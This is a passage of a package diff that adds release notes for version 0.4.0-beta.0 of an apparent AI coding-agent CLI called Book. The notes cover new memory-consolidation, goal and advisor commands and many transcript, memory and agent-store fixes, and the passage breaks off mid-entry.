@letrquan/book 0.3.0 → 0.4.0-beta.0

package/CHANGELOG.md

@@ -4,6 +4,1030 @@ All notable changes to this project are documented in this file.
 
 ## [Unreleased]
 
+## [0.4.0-beta.0] - 2026-10-22
+
+### Added
+
+- **`/memory consolidate [focus]`: tidy the memory store** (PR 3 of the Claude Code memory parity
+  plan). Memory is the model's own to write, so it drifts: near-duplicates, facts the code has
+  outgrown, lines in `MEMORY.md` that point at nothing, "yesterday" with no date. The command runs
+  one agent pass in the current session, so its edits show as ordinary tool rows. It merges
+  duplicates (deleting the extras with `rm`), rewrites or deletes contradicted memories, makes
+  relative dates absolute, checks that the files, functions, flags and commands a memory names still
+  exist, and prunes `MEMORY.md` to one pointer line per file within 200 lines and 25,000 bytes. It
+  reconciles feedback and project memories with `CLAUDE.md` / `AGENTS.md`, which win; a memory that
+  is clearly newer is annotated `Contradicts CLAUDE.md — verify which is current.` and reported,
+  never used to edit them. The pass is refused, with no prompt sent, when memory is disabled or not
+  writable in the session, in plan mode, or with no memory files. It runs with `Read`/`Glob`/`Grep`,
+  `Write`/`Edit`/`MultiEdit` of `*.md` files in the memory directory and `rm` of them, and nothing
+  else (no `ApplyPatch`, MCP or other `Bash`); the memory write guard still applies. It also runs
+  headlessly (`book -p "/memory consolidate"`); the other `/memory` forms stay refused in print
+  mode. An automatic trigger is not part of this change.
+- **A plain `rm` of memory files needs no prompt.** One `Bash` command that is `rm` and nothing
+  else, whose every operand is an absolute `*.md` path under the memory directory (not `MEMORY.md`),
+  is allowed after your `deny`, `ask` and `allow` rules, as a memory write is. Flags, `--`, globs,
+  quotes, variables, `.`/`..` segments, chaining, redirects, substitution and paths through a
+  symlinked subdirectory all keep the ordinary prompt, as does every `rm` in a session another
+  agent drives.
+
+- **Compact mode hides a tool step's thought, and read-only git through `Bash` folds** (#470). An
+  assistant step that calls a tool no longer draws its `▸ thought · N lines` row in the compact
+  transcript, whether the row is quiet or not (Ctrl+O shows it, and so does screen-reader mode); a
+  final answer, a turn that only updates the task list or hands the turn back (`TodoWrite`,
+  `AskUserQuestion`), a step whose call waits for your approval, and a thought still streaming keep
+  theirs. `git status`, `log`, `diff`, `show`,
+  `grep`, `ls-files` and listing-only `git branch`, with only `-C <dir>`, `--no-pager`, `-P` and
+  `--no-optional-locks` before the subcommand, now fold into quiet runs like Book's own Git tools
+  (`-c`, `--output`, `grep -O`, a `--format` that asks for a signature, aliases and every path
+  outside the workspace keep their row).
+- **The compact transcript folds read-only shell commands into the quiet-run summary** (#459). A
+  model that explores through the shell (`cat src/a.js`, `rg TODO src`, `ls src`) no longer draws a
+  row per command: a conservative parser, modelled on OpenAI Codex's `parse_command.rs`, folds a
+  `Bash` call like a read when it can prove the whole command read-only (no redirection, expansion,
+  background job, wrapper, pager, follow mode or mutating flag) and it succeeded (a search that found nothing and exited 1 counts), ran in the
+  foreground (not moved to a background shell at its timeout) and stays inside the workspace. Any
+  option that names a file counts as a path, and a glob that could expand to `..` keeps the row.
+  `ack` does not fold, because it reads a project-level `.ackrc`. The summary counts shell reads with `Read`'s files, shell searches
+  with the searches, and listings as `N listings`. Anything else keeps its own row.
+- **Memory is keyed by the git repository root, and a cut `MEMORY.md` says so.** Linked worktrees
+  and subdirectories of one repository now share one memory (before, each path got its own, so a
+  fact taught in the main checkout was missing in a worktree). The root is found by reading `.git`
+  (no `git` process); outside a repository the key is the workspace itself, and a dotfiles `.git`
+  in your home directory is no repository for a project under it without its own `.git` (#567;
+  memory saved under the home key before stays there, unmigrated). A directory under the
+  old workspace-path key is moved on first run, or merged into the new one with `-2`, `-3`
+  suffixes on a name collision. `MEMORY.md` now loads its first 200 lines and 25,000 bytes, and a
+  `> WARNING:` line at the end of the loaded index names how much was cut off and where. The
+  `/memory status` report and `book doctor` count bytes as well as lines.
+- **`/goal <condition>`: keep working until a condition holds**, modelled on Claude Code's command.
+  Each time the agent stops without calling a tool, the compact model reads the transcript and
+  judges the condition with Claude Code's evaluator prompt. An unmet verdict returns its reason to
+  the agent as a host-authored turn and the run continues. A met goal clears itself
+  (`● Goal achieved (…)`); one judged impossible clears with `Goal could not be achieved: …` and
+  ends the run `failed / goal_unmet`, as does a goal still unmet after eight rounds of feedback (the
+  ninth unmet check, as in Claude Code), which stays set for the next message. A check that cannot
+  run fails open: the run ends, the goal stays, and the outcome is `failed / goal_unverified`. The
+  last turn `--max-turns` allows is checked too, and an unmet goal there ends `failed / max_turns`.
+  Plan stops, handoffs, cancels and the continuation brakes are never overridden by a goal. Goals
+  persist in the session file (a new `goal` record) and survive `--resume`; print mode supports
+  `/goal` and reports each check on stderr (under `--quiet`, only the line that explains a failure)
+  or as `goal_status` stream-json events. While a goal is set, the status line shows
+  `◎ /goal active (<elapsed>)`, counting from when it was set, until the goal is met, judged
+  impossible, or cleared.
+- **`/advisor <model>`: let the agent consult a stronger model**, modelled on Claude Code's
+  advisor. A configured `advisorModel` (or `BOOK_ADVISOR_MODEL`) adds an `Advisor` tool to the
+  core set; calling it sends the agent's system prompt and the whole conversation to the advisor
+  model through its own provider and returns the advice. It runs client-side, so it works on every
+  provider, and it is billed at the advisor model's rates. `/advisor` with no argument opens the
+  model picker, aimed at the advisor, with an **Off** row after the models, and `/config` has an
+  **Advisor** row (`V`), so the advisor is chosen from a list instead of typed from memory (a
+  mistyped `/advisor claude` was saved and matched no model). The picker flags a saved advisor
+  that is not in the list and a `BOOK_ADVISOR_MODEL` that outranks the choice. An id the advisor
+  would refuse (#419) is refused by both `/advisor <id>` and the picker, and any other id that
+  names no listed model is saved with a note. Every model picker
+  (`/model` too) now opens with the cursor on the current choice, which a long list used to scroll
+  out of view, and `Alt+S session` is offered only where it applies (the main model).
+- **`book trust provider [id]`** approves or rejects a provider a repository declares (#418), with
+  `-w`/`--workspace`, `--all-pending` and `--reject`; with no id it lists what awaits a decision.
+- **Update a provider's API key without re-adding it** (#592). In `/model` and `/providers`,
+  `Alt+K` on a model of a provider from your user file opens a masked "Update API key" sheet.
+  - It tests the new key against that provider's own endpoint with one model-list call, and saves
+    on success.
+  - On failure, `s` saves anyway, `r` retries and `Esc` goes back to the key.
+  - `book config provider-key <id>` does the same from the shell. It reads the key from stdin
+    (hidden on a terminal, piped otherwise) and refuses a key given as an argument. `--force` saves
+    despite a failed test, and `--no-check` skips the test. Like the other `config` subcommands, it
+    needs no working credentials.
+  - Only `apiKey` changes: the model catalog, the active model and per-model overrides stay. A
+    same-named entry in `.book/settings.local.json` loses its connection keys, so it can't shadow
+    the update. A provider only a repository declares is refused.
+  - The running session sends the new key from its next request.
+
+### Fixed
+
+- **Symbols such as `⎿`, `⏺` and `⌘` are measured one column wide.** Book's `displayWidth` counted
+  the whole Miscellaneous Technical block (U+2300–U+23FF) as two columns, while Ink and the
+  terminal draw them in one, so a row that used one wrapped or padded a column early. Only its
+  emoji-presentation characters (`⌚`, `⏳`, `⏰`) and the East Asian Wide angle brackets (`〈`,
+  `〉`) are wide now.
+- **Resizing the terminal during a turn no longer leaves a second working indicator, input bar and
+  footer on screen** (#525, #538, #537, #547, #565). On a narrowing resize Ink drew at once with the old
+  layout, and a row wider than the new width autowrapped and threw off its line count, so the next
+  frame left a second working indicator, extra rules, input bar and footer behind. Every Ink frame
+  row is now clipped to the terminal width, with tabs expanded. After a resize the new size is
+  committed before Ink draws, so the first frame and the forced redraw already use it. Tabs in tool
+  output are expanded to 8-column stops, so a tab-separated row is measured at its real width, and
+  so are tabs in a code block of an agent message before the block is wrapped, so a tab-indented
+  line near the edge wraps inside the block instead of losing its end. Tabs in an agent message's
+  paragraphs, list items, table cells and inline code are expanded the same way before wrapping,
+  with stops counted from the start of the text, so a tab-separated line keeps its last words.
+  `BOOK_INK_FRAME_CLIP=off`
+  turns the row clip off. Ctrl+L redraws once per press.
+- **The agent store opens off the event loop, an apply that outlives its session's manager is
+  still recorded, and earlier agents stay usable after `/clear`** (#516, #518, #527, #540, #544,
+  #554, #568). Opening the managed-agent store stalled the first 190 to 670 ms after the first frame, and
+  text typed then and submitted with Enter became a paste. The store now opens off the event loop,
+  so there is no stall and that Enter submits. An apply that finishes after `/clear`, `/resume` or
+  `/rewind` is recorded by the session's current manager, so the same apply is not offered again,
+  even when the old manager could not delete its lease file; when no manager is current, it still
+  never overwrites a newer record. After `/clear`, `/resume` or `/rewind` the earlier agents of the
+  same Book process can be sent to, applied, dismissed and recovered again; they had read as owned
+  by another live Book process until Book exited. `AgentStop` leaves an apply that you started
+  running, and its result says so. The agent detail view shows whether its current candidate was
+  applied (`applied`, `not applied` or `apply failed`), and a re-run that ends on a new candidate
+  commit resets it to not applied. `/agent <id>` for another session's agent says
+  `✕ Agent <id> belongs to another session.` instead of staying on `Loading subagent…`;
+  `/agent send` to such an agent still sends and says its view is not shown. A manager the session
+  disposed no longer reads as a live owner while a lease file it could not delete still looks
+  fresh (up to 15 s): the session remembers the instances it disposed, and a lease that cannot be
+  deleted is overwritten with a dead one where possible.
+- **Expanding a tool row shows its long output lines whole** (#550). A line wider than the output
+  block was shortened with `…` and the footer offered Ctrl+E, but the expanded row cut it the same
+  way, so the end of a long path, JSON blob or table row never showed. An expanded row (Ctrl+E, or
+  Ctrl+O then Ctrl+E) now wraps each long line onto the rows below; a collapsed row still shortens
+  it, and Ctrl+E also picks a row whose only loss is a shortened line.
+  - A wrapped highlighted line keeps its token colours across the break (#578).
+  - A Markdown paragraph or list item drawn without a width expands tabs.
+  - A line the row bound cuts into counts as `1 long line shortened`, not as a hidden line.
+- **Windows: Book's directory walks and file loads don't follow a link to a network (UNC) path**
+  (#579). This covers:
+  - the `@` file picker, skill and subagent loading, Glob, Grep (both backends, and its `path`)
+    and `.gitignore` loading;
+  - a project `.mcp.json` or `.bookrc.json`, rewind snapshots, context refresh and memory keying.
+
+  Directories you configure on a share (`additionalDirectories`, the memory directory) are still
+  searched. On Windows, ripgrep takes its ignore rules from the root `.gitignore` alone. The UNC
+  check probes each path once per call.
+
+- **Book's own workspace writes only touch regular files.** Book leaves the workspace files it
+  manages unchanged when they aren't regular files, and the write stops with a notice. That covers
+  `.book/settings.json`, `.book/settings.local.json`, `.book/migrations.json`, a project
+  `.mcp.json`, `/export` output and `.book/debug.log`. `/export` writes only inside the workspace.
+- **A dotfiles `.git` in your home directory is no longer the repository of every project under
+  it** (#567). For a project under your home directory without its own `.git`, Book took the home
+  directory as the project's repository: project skills were looked for in every directory from
+  home down, the prompt's git line showed the dotfiles branch, and managed agents snapshotted the
+  whole home directory, untracked files included.
+  - **What sees no repository:** memory, project skill discovery, the prompt's git line,
+    managed-agent isolation, the TUI status bar, `/review` and the Git tools (GitStatus, GitDiff,
+    GitLog, GitBranch and GitCommit) all treat such a project as in no repository (#579). Book's own
+    git calls carry a `GIT_CEILING_DIRECTORIES` entry for the home directory. Patcher and validator
+    agents refuse there, and their refusal now names the ignored dotfiles repository.
+  - **Workspace at home:** a workspace that is the home directory itself still sees its repository
+    in all of these, and isolation snapshots then leave out Book's own home directory
+    (`BOOK_HOME`).
+  - **Old agent state:** managed-agent state an older Book kept under the home key is not used. It
+    is reported once, with a cleanup command.
+  - **Unchanged:** your own `Bash`, and a project with its own `.git`.
+- **A spent-limit or rate-limit message states the reset time once, and a WebFetch same-origin
+  redirect refusal names the URL the model asked for** (#513, #246). A provider message that gave
+  its own reset time had it repeated by Book's text, including when the wait was too long to retry;
+  it is now stated once, and a rate-limit reset adds Book's own advice. The refusal for a redirect
+  to a blocked path on the same origin named the redirect target; it now names the URL the model
+  asked for.
+- **A provider save keeps per-model overrides, `CLAUDE.local.md` always loads last, and `/init`,
+  commands and skills name the session after what was typed** (#514, #524). Saving a provider from
+  `/model` (Alt+R included) now keeps per-model overrides such as a hand-set `contextWindow` in
+  `.book/settings.local.json`; it clears only `baseURL` (and `baseUrl`), `apiKey`, `type` and a
+  stale `reportedContextWindow`. `CLAUDE.local.md` loads last and as local even when a project file
+  links to it. `/init`, a custom command or a skill names the session after what you typed (`Init`,
+  `Deploy staging`) rather than the text it generates, and the plan handoff keeps the planning
+  session's name.
+- **A router's one-line "[Error] The model failed to generate a response." is re-issued, not
+  counted as an answer** (#404). A router sends that sentence as the whole reply when its upstream
+  fails, and Book's check for an upstream error envelope, which leans on the token usage reported
+  beside it, did not recognise it: the run ended `completed / normal_completion` on a reply with no
+  work in it. The router's exact sentence is now taken for an envelope whatever the usage says, and
+  the turn is re-issued once. If it comes back, the run ends `failed / provider_error` with provider
+  code `error_envelope`. A model's own one-line `[Error]` answer in other words is still an answer.
+- **A tool call whose arguments arrive empty is a retryable route fault, not the model's** (#403).
+  Some routes stream a tool call with an empty argument string. Book read it as `{}` and rejected it
+  as `invalid_arguments`, which was not retryable, told the model "Do not retry it unchanged" from
+  the second try, and ended on `all_tools_blocked` blaming the model. A call whose arguments, joined
+  across every fragment, are empty or whitespace is now marked as arriving empty on the wire. For a
+  tool with required properties the registry rejects it as `invalid_json_arguments` with shape
+  `empty`: retryable, blamed on the route, exempt from "Do not retry it unchanged", and counted by
+  `book tool-stats`. A literal `{}` is not marked, and a tool with no required arguments still runs
+  with `{}`. When `all_tools_blocked` ends a streak in which every call arrived empty, the stop now
+  names the provider route and says the model is not at fault; a streak that also holds a malformed
+  call keeps the old text.
+- **An HTTP error whose body never arrived no longer reads "(empty response body)"** (#449). A read
+  that timed out, failed or was aborted before a single byte arrived was reported with the same
+  words as a response that really was empty, so a stalled router and an empty 404 looked alike. The
+  first now says "no response body received", also after the retries are exhausted; a null or
+  completed-empty body still reads "(empty response body)", and partial text is kept. A body that
+  says nothing useful (Go's `404 page not found`, `{}` or `[]`, an HTML page) keeps its text and
+  gains "The reply came from <host> for model <model>.", with an HTML page shown as its title. Only
+  the host is named, never userinfo, path or query.
+- **Tool call ids stay unique across a conversation** (#410). A provider can return an id it used in
+  an earlier turn: 9router's `ag/` route mints `call_` plus seven digits, and one session collided
+  at its 140th call. Book saved both calls, so every later request, and every `--resume`, carried
+  two calls with one id, which Gemini refuses with `400 INVALID_ARGUMENT` for good. A streamed call
+  whose id is already in the conversation is now renamed before it is announced, run or saved:
+  `call_1` becomes `call_1_2`, the smallest suffix not in use, and its result and any Anthropic
+  `tool_use` block carry the new id. A session that already holds a repeat resumes instead of
+  failing: when its messages are built the first use keeps its id and each later one is renamed the
+  same way every time, so earlier turns render byte for byte and the prompt cache holds. The session
+  file is not rewritten. A batch that repeats an id within one response is still rejected, and its
+  rejected message no longer keeps the Anthropic `tool_use` blocks that every later request would
+  have replayed.
+- **A disposed manager keeps the record it wrote, and a contended state write is retried once**
+  (#490, #493). When the session closed while a child agent was running, the child's run could still
+  overwrite the `interrupted / process_exit` record that `dispose()` had written with `stopped`,
+  `failed` or `completed`. A disposed manager's run now returns straight after its loop, the
+  record-changing callbacks go quiet, and the store refuses a save after dispose (its own final
+  flush still goes through); the transcript the loop added after its last save is dropped, as a
+  process exit would drop it. Separately, an atomic state-file write whose lock and fsyncs had used
+  up its 500 ms deadline returned `busy` on the first contended rename without trying again. That
+  first contended rename now always gets a back-off and one more attempt, which still honours
+  cancellation and a disposed store. A second contention follows the normal deadline rule and
+  returns `busy`.
+- **Cancelling, stopping or closing a session now stops an apply that is already running** (#491).
+  An apply's signing read, and the operator's `gpg.ssh.defaultKeyCommand` inside it, took no signal,
+  so a `/review --fix` cancel, `AgentStop` or `dispose()` left that command running for up to its
+  30 s bound. The signal now reaches the candidate lookup, the git version and signing-config reads
+  and the key command, which is killed at once. `dispose()` stops only those reads: a cherry-pick
+  already running when the session closes finishes, as it did before, rather than being killed with
+  no rollback. A stop during the pre-check, the cherry-pick or the dirty-path `git apply` used to be
+  reported as a conflict; it now ends with an error that names the stop and what it left, whether
+  the rollback ran and any unmerged paths, and `/review --fix` counts that pass as cancelled
+  ("Stopped while applying …"), not as a failed fix. `AgentStop` waits for the apply it stopped,
+  rollback included, and a patcher that had completed stays `completed`. `AgentStop` stops only an
+  apply the model started (`AgentApply`); an apply you started keeps running (#527).
+- **Print mode and the SDK keep a session's name across managed-agent completions, and `/review`
+  agents are recorded under the host session** (#446, #448). A managed agent's completion notice
+  (and a background shell's, in the TUI) is a host-written turn, yet it named a session that had no
+  name yet, as `Atlas completed: Found the missing de…`, in place of the prompt you typed. A
+  notification turn now never derives or changes a name, in print mode, the SDK, the session index
+  and the loader alike. In print mode and the SDK the `/review` reviewers, and the `--fix` patcher
+  and validator, recorded `sessionId: "agent:<id>"` in tool telemetry, so five reviewers counted as
+  five sessions in `book tool-stats`; they now carry the host's session id. That also puts the
+  host's `parent_session_id` in their SubagentStart and SubagentStop hook payloads, and a print-mode
+  session resumed in the TUI lists its review agents in the agent panel, as TUI `/review` agents
+  already do.
+- **An empty session is removed when Book exits before the first prompt** (#444, #507). Opening Book
+  and quitting left a session file and an index entry behind (#428 only hid them), and so did `/new`
+  or `/clear` followed by quitting. At exit Book now removes the session this launch created, and
+  each one `/new` or `/clear` created, if it is still untouched: its file holds at most the bare
+  header and has no name. A turn, a patch, a usage record, or a line a SessionEnd hook wrote keeps
+  it, and a resumed, continued or `/resume`d session is never removed. This covers the TUI, print
+  mode and the SDK. A launch with `--name` that sends no prompt is kept, since you typed the name
+  and `--resume <name>` finds it. Windows may briefly hold the file open, which leaves it in place.
+- **Two Ctrl+C presses read together count as two presses, so quitting right after launch works**
+  (#504). Ink hands bytes read in one stdin chunk on as a single event, and Book did not recognise
+  `\x03\x03` as Ctrl+C. Right after the first frame Book stalls for 200 to 700 ms while the agent
+  store opens, so a quit's two presses were read as one chunk and ignored: about two in ten driver
+  runs that quit at once did not exit. Every Ctrl+C is now split out of a chunk before any key
+  handler sees it, one piece per tick, so two presses over a draft clear it and then arm the exit
+  window, as two separate presses do. Text and Enter that arrive in one read are still a paste, on
+  purpose. The stall itself is gone (#516).
+- **A `/goal` session name keeps a leading inline code span** (#449). The name came from the goal
+  with one leading backtick stripped, so a goal that began with `npm test` as an inline code span
+  lost the span's opening backtick and had its first letter capitalised. The span is kept. A
+  leading code fence and its language tag are still dropped, a word after a fence counting as a tag
+  only when a newline follows it, as are a trailing closing fence and a fence line in the middle of
+  the prompt. A prompt-body command (`/init`, a custom command, a skill) is now named after what you
+  typed too, and the plan handoff keeps the planning session's name (#524).
+- **Grep accepts ripgrep inline flags such as `(?i)`, and tool output blocks draw empty lines**
+  (#447, #494). Grep compiled the pattern with JavaScript's `RegExp` before choosing a backend, so
+  `(?i)HELLO` failed with "Invalid group" although ripgrep takes it. The pattern now goes to
+  ripgrep as written. The portable fallback translates a leading `(?i)`, `(?s)` or `(?m)` group
+  into `RegExp` flags without repeating one already set, except that in line mode a leading `(?m)`
+  or `(?s)` is not made a flag, since it would match `foo\r` on a CRLF file where ripgrep does not.
+  Any other inline group, such as `(?x)` or a `(?i)` in mid-pattern, fails with `invalid_regex`
+  naming the construct and pointing to `i: true`. When ripgrep exits 2 on a regex parse error Grep
+  still falls back to the portable engine, so lookaround keeps working, and if both reject the
+  pattern the error includes ripgrep's own; any other exit 2 returns ripgrep's result. A malformed
+  pattern now costs one ripgrep spawn before it fails. In the transcript, a tool row's output block
+  dropped empty lines: `printf "S1\n\nS2\n\n\nS3\n"` drew three rows. Each line now draws a row of
+  at least one line. One definition of a tool output's lines, split on `\n` with the trailing empty
+  lines dropped, feeds the drawn rows, the header's line count and the `… +N lines` footers, so
+  `X` and its newline reads 1 line and draws 1 row. This supersedes the #480 note that an empty line
+  between two others adds no row.
+- **`/model` discovery records an Anthropic endpoint's reported context window** (#416). Discovery
+  listed the models but dropped the `max_input_tokens` that `/v1/models` reports, so `/context`
+  kept showing the default window until you set one by hand. It is now stored per model as
+  `reportedContextWindow` when it is a positive whole number, overwritten on every refresh and
+  removed once the endpoint stops reporting it, and `/context` names its source `reported`. The
+  order is a hand-set `contextWindow`, then the learned ceiling, then the reported window, then the
+  model family, then the default. A separate field, rather than `contextWindow`, so that your value
+  always wins and an overflow can still lower a reported window that a proxy or a key tier did not
+  honour. A refresh now updates the running session's model information for that provider; the
+  selection, effort and `maxTokens` are untouched. Limits: only Anthropic endpoints, with an
+  OpenAI-compatible `context_length` ignored and `max_tokens` not recorded. A discovered Haiku 5.5
+  now records its 1M window, so long sessions compact later and, past 100k tokens, cost more per
+  request; set `contextWindow` to lower it.
+- **At `$HOME`, `book config set` and `/config` no longer report a user-scope write as shadowed by
+  the same file** (#449). With `BOOK_HOME` unset, the workspace's `.book/settings.json` is the user
+  file, and a user-scope write was reported as shadowed by the project layer. The project layer is
+  now skipped when it is the user file, as the loader does; the local layer and a `--settings` file
+  are still reported. A home reached through a symlink, with the workspace given by its real path,
+  also listed each user skill root a second time as a project root whose skills ask for consent. A
+  project root whose real path is a user root's is now folded into that user root. Roots that only
+  alias each other, project to project or user to user, are left alone, and a root that does not
+  exist is never folded. Trust does not loosen: with `BOOK_HOME` elsewhere, `~/.book/settings.json`
+  is still a project layer, and its hooks and `permissions.allow` stay withheld.
+- **A persistent background Bash job gets 10 s to start, and shell ids stay unique across resumes**
+  (#495, #449). The detached runner had 3 s to start the job, which a loaded Windows CI runner did
+  not always meet (`did not start within 3000ms`); it has 10 s now. A runner that dies early is
+  still reported at once, and one that hangs is still killed and forgotten after the budget. The
+  wait also ends when the turn is cancelled or the manager is disposed. Separately, `shell_<n>`
+  numbering restarted at `shell_1` after `--resume`, `/resume`, `/rewind`, in print mode and in a
+  managed agent's follow-up run, so a new job could reuse an id that a transcript row or completion
+  notice already named. The counter now starts one past the highest `shell_<n>` in the transcript
+  and in the context history (compaction can drop an id from the history while the row keeps it).
+  After `/rewind` it continues past the ids the kept transcript still holds, and after `/clear` it
+  starts at 1. Persistent `shell_<uuid>` ids and numbers above 1,000,000 are ignored.
+- **A failed command's stdout is named under its stderr, and Ctrl+E reaches the row** (#480). A
+  command that failed with output on both streams showed only its stderr tail: an `npm warn` where
+  the `FAIL test/a.test.js > expected 1, got 2` that said what broke belonged. The model read both,
+  but nothing under the row said the stdout existed, and Ctrl+E skipped the row unless it was the
+  latest, because the compact transcript took it to hide nothing. The collapsed detail of a failed
+  `Bash` or `Check` now ends with `… +1 line of output (Ctrl+E)`, counting the rows the output
+  block then draws for the stdout (only the row Ctrl+E acts on names the key; the others read
+  `… +1 line of output`), and the row counts as hiding content, so Ctrl+E picks it even when a
+  newer row hides nothing. Pressing it shows the whole stderr and the stdout in the output block,
+  and the next press moves up to the next truncated row. The block draws a row for each line that
+  is not empty, and Ink gives an empty line no height: the newline real output ends in adds no row
+  (a stdout of `hi` and its newline reads `+1 line`), nor does an empty line between two others,
+  and a line of spaces is one (`A\n\nB\n   \nC\n` reads `+4 lines`, as many as Ctrl+E then draws).
+  A stderr tail that cuts lines of its own keeps its footer above the rows and counts the stdout in
+  it, one footer and one key: `… +2 lines, +1 line of output (Ctrl+E)`. A stdout with no text in it
+  (blank lines, control characters) is not named. A message that is only `Exit code: N` is
+  unchanged, since its stdout is the detail, and a row that is open (Ctrl+E, a click, or Ctrl+O's
+  detailed transcript) draws the stdout in its output block alone. A `Bash` command whose stderr
+  held only whitespace (a bare `echo >&2`) used to report that whitespace as its message, which the
+  row skips as blank: it drew no stdout and named none, and Ctrl+E passed over it. It now reports
+  `Exit code: N`, as `Check` already did, so its stdout is the detail like that of any command that
+  said nothing on stderr. A `BashOutput` read of a shell that failed is a successful read of one
+  buffer that holds both streams, so it has no stderr to put a stdout under and is unchanged.
+- **The atomic-write tests no longer fail with `busy` on a loaded machine** (#450). Three of them
+  inject one contention and expect the writer to try again, but ran on the real clock against its
+  500ms deadline, so the fsyncs before the first rename could use up the whole budget and the writer
+  returned `busy` without a second attempt. They now run on a clock that only the writer's own
+  back-off moves; the writer is unchanged, and `busy` once the deadline has passed is still its
+  documented result.
+- **A finished compaction is shown only in the transcript.** Its row, `✓ Compact conversation`,
+  is now the whole record of a successful compaction: the post-compaction card and the
+  `Compacted 100%` bar no longer appear above the input or linger until the next message. A
+  compaction warning is kept on that row (`Compact conversation · reduced fidelity`, with the
+  warning in one dim line under it), not as a separate row, and stays out of the model's context. A
+  resumed session's rows do not carry it. The running bar and the error and skipped cards are
+  unchanged; an error or skipped card still stays until the next message.
+- **A failed `Check` reports the way a failed `Bash` does** (#473). A check that exited non-zero
+  reported `stderr || stdout`, so a runner that prints its failing assertions on stdout while npm
+  warns on stderr lost them: the model never saw them and neither did the transcript. The message is
+  now stderr, or `Exit code: N` when stderr is blank, and stdout is always the output, under the
+  same 50 KB bound every tool result gets. The read-only-git note reads both streams, and a
+  timed-out check keeps both its stdout and its stderr.
+- **The test suites no longer read your `BOOK_*` environment** (#467). A test that expects a
+  default (`BOOK_EFFORT` unset, no `BOOK_MAX_TOKENS`) failed whenever the suite ran from inside a
+  Book session, or from any shell exporting an override: eight tests in `compact-eval-settings`,
+  `edit-eval-settings`, `doctor` and `trust-cmd` saw the session's effort, model or token cap
+  instead. Every config (watch mode and a bare `vitest run <file>`, unit, contract, coverage and
+  integration) now deletes every inherited `BOOK_*` variable before each test file, in the shared
+  `src/test/vitest-setup.ts`, matching the names case-insensitively and keeping only `BOOK_HOME`,
+  which the suite leaves as launched, and the telemetry directory that setup pins. A test that sets
+  a variable itself is unaffected. The integration tier also keeps your provider's `BOOK_API_KEY`,
+  `BOOK_BASE_URL`, `BOOK_PROVIDER`, `BOOK_MODEL` and `BOOK_EFFORT`, which the TUI streaming tests
+  pass to their child on purpose (#358). To keep an override while debugging, list it in
+  `BOOK_TEST_KEEP_ENV`, for example `BOOK_TEST_KEEP_ENV=BOOK_DEBUG,BOOK_DEBUG_STDERR`.
+- **A git-isolation test no longer times out on Windows or leaves its repository locked** (#453).
+  The test that shows a signing read cut off at its buffer is refused (#348) padded `.git/config`
+  past the production buffer, so each of the 23 git processes the apply starts parsed all of it:
+  76 s of a 120 s budget on a green Windows run, and a timeout on a slower one, which left the apply
+  running in the repository when cleanup tried to remove it (`EBUSY`). The buffer is now a private
+  parameter of the git runner (default `DEFAULT_MAX_BUFFER_BYTES`), and the one internal test seam
+  takes the size of the signing read's buffer, so on every platform the refusal is proven in
+  seconds with a 64 KiB buffer, and a single read through the production runner shows that its own
+  buffer refuses an overrun too. One full-size variant, skipped on Windows, shows the apply wires
+  that buffer in. Cleanup also retries the removal. Book itself behaves exactly as before.
+- **A restart test no longer counts the first manager's requests as the restarted one's** (#413).
+  `children re-driven after a restart` flaked with `expected 1 to be +0` under the full integration
+  tier: its helper counted a request the first manager's child made late as a re-run. The helper
+  now counts only the restarted manager's requests. Test-only.
+- **A memory file is named by what reads it best.** The `Read` row of a memory file now shows
+  `memory/<file>` like the `Write`/`Edit` rows, instead of the long absolute path, and a message
+  about a memory file (`file_not_observed`, a stale read, `Created …`, an `ApplyPatch` diff header)
+  names its absolute path instead of `../home/.book/…`. A workspace file keeps its relative path.
+  A row that is still running, waiting on a permission prompt, or failed (`file_not_observed`) also
+  reads `memory/<file>`: the TUI now knows the memory directory, so a `Read`, `Write`, `Edit`,
+  `MultiEdit` or `NotebookEdit` row no longer falls back to the long absolute path before a result
+  names the file.
+  The permission sheet for a `Write`, `Edit`, `MultiEdit` or `ApplyPatch` of a memory file now
+  previews the change, naming the file `memory/<file>`, instead of
+  `Cannot preview: Path outside workspace`. The preview resolves the path with the file tools' own write rules, so it still
+  refuses what they refuse (a non-`.md` file, a dot-entry, a link or a `..` escape).
+- **A short quiet-run summary row shows all its metadata** (#469). `Read a.js` with
+  `1 file · 1 search · 1 listing` was cut at the 20-column meta column; the summary row's metadata
+  now takes the columns its target leaves free, and a long target keeps its priority.
+- **Ctrl+E expands the newest truncated tool row, and only that row's footer names the key**
+  (#470). In the compact transcript every cut diff, output and failed-command footer read
+  `(Ctrl+E)`, but the key expanded the latest row, so a 150-line `Write` followed by a capped `Edit`
+  advertised the key on the `Write` and a second press changed nothing. Ctrl+E now expands the
+  running tool while a turn is in progress, else the row you clicked while it is still cut, else the
+  newest row on screen whose preview hides lines; each press moves up to the next truncated row, and only that row's footer shows
+  `(Ctrl+E)` (the others read `… +140 lines`). The detailed transcript is unchanged: Ctrl+E shows
+  everything and every footer names it.
+- **A failed command's whole error is reachable, and `Check` and `BashOutput` rows show their exit
+  code** (#470). The detail under a failed command's row kept its last four lines under a dimmed
+  `… +N lines`, and no key showed the rest: Ctrl+E ignored it, in compact mode and after Ctrl+O. The
+  hint now reads `… +N lines (Ctrl+E)`, and expanding the row (Ctrl+E, or Ctrl+O then Ctrl+E) shows
+  every line of the output, up to the last 2000 rows (a longer output says how many lines it cut,
+  naming no key); a line wider than the row continues on the rows after it instead of being cut.
+  The error folds back to its tail when the row is collapsed again, a command that printed only to
+  stdout shows that stdout once, and a failure whose stderr is hidden can be expanded by a click.
+  A prose failure wraps past two rows when expanded. A failed
+  `Check` now records its exit code, so its row reads `failed · exit 3` like a `Bash` row does (a
+  timed-out check is not a failing check and has none). A `BashOutput` row for a background shell
+  that finished with a non-zero exit shows `exit N`; the read still counts as a success, but it no
+  longer folds into the quiet-run summary, so the `exit N` stays on its own row.
+- **A failed Bash call's error detail keeps its last lines and its exit code** (#457). The detail
+  under the tool row folded stderr into one paragraph, kept its start, and stopped after two rows,
+  so a failing test run showed its first assertion and never its verdict. A failed command's
+  output (a result that carries an exit code) now shows one row per non-blank line, the last four,
+  behind a dimmed `… +N lines` row for the rest, and the row's metadata reads
+  `failed · exit 1 · 7ms`. Many test runners print the verdict on stdout and leave stderr empty;
+  for those the detail shows the tail of stdout, and a command with no output shows no detail rows.
+  Book's own sandbox note stays readable after the tail, in up to two rows. Any other failure (an
+  MCP error, a validation message) wraps as before, first line first. What the model reads is
+  unchanged.
+- **Reasoning no longer breaks the compact transcript's quiet-run summary** (#455). A model that
+  thought before every read (an inline `<think>` part or provider-native reasoning) drew a
